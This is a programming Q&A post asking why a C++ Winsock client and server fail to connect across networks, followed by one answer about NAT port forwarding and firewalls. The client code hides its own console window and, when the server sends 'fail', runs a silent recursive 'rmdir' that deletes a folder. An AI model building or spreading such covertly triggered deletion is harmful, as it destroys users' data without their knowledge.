Sockets between networks in c++ - c++

Question

I’m a noob with sockets, and I’ve tried to make a program. When it is connected in my local address it works ok, but the problem comes when I try to use it between networks, and they don’t connect. I’ve tried changing the IP from local to public and a lot of combinations of IPs. Here is the code of the program:
SERVER
#pragma comment(lib, "ws2_32.lib")
#include <winsock2.h>
#include <iostream>
#include <cstdio>
#pragma warning(disable: 4996)
int main(int argc, char* argv[]) {
//WSAStartup
WSAData wsaData;
WORD DLLVersion = MAKEWORD(2, 1);
if (WSAStartup(DLLVersion, &wsaData) != 0) {
std::cout << "Error" << std::endl;
exit(1);
}
SOCKADDR_IN addr;
int sizeofaddr = sizeof(addr);
addr.sin_addr.S_un.S_addr = INADDR_ANY;
addr.sin_port = htons(45600);
addr.sin_family = AF_INET;
SOCKET sListen = socket(AF_INET, SOCK_STREAM, NULL);
bind(sListen, (SOCKADDR*)&addr, sizeof(addr));
listen(sListen, SOMAXCONN);
SOCKET newConnection;
newConnection = accept(sListen, (SOCKADDR*)&addr, &sizeofaddr);
if (newConnection == 0) {
std::cout << "Error #2\n";
}
else {
while (true) {
std::cout << "Conectado\n";
char msg[256] = "";
std::cin.getline(msg, sizeof(msg));
send(newConnection, msg, sizeof(msg), NULL);
}
}
system("pause");
return 0;
}
CLIENT
#pragma comment(lib, "ws2_32.lib")
#include <winsock2.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#pragma warning(disable: 4996)
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth, 0);
}
int main(int argc, char* argv[]) {
//WSAStartup
WSAData wsaData;
WORD DLLVersion = MAKEWORD(2, 1);
if (WSAStartup(DLLVersion, &wsaData) != 0) {
std::cout << "Error" << std::endl;
exit(1);
}
SOCKADDR_IN addr;
int sizeofaddr = sizeof(addr);
addr.sin_addr.s_addr = inet_addr("192.168.1.17");
addr.sin_port = htons(45600);
addr.sin_family = AF_INET;
SOCKET Connection = socket(AF_INET, SOCK_STREAM, NULL);
if (connect(Connection, (SOCKADDR*)&addr, sizeof(addr)) != 0) {
std::cout << "Error: failed connect to server.\n";
return 1;
}
std::cout << "Soy cliente\n";
char msg[256] = "";
recv(Connection, msg, sizeof(msg), NULL);
std::cout << msg << std::endl;
if (msg[0] == 'f' && msg[1] == 'a' && msg[2] == 'i' && msg[3] == 'l') {
std::string directoryName = "C:\\Users\\usuario\\Documents\\Prueba";
std::string a = "rmdir /s /q " + directoryName;
system(a.c_str());
}
std::system("pause");
return 0;
}

Answer 1

if your server is behind a NAT, you need to enable port forwarding on the NAT, and then have the client connect to the NAT's public IP.
If not, check your firewall settings.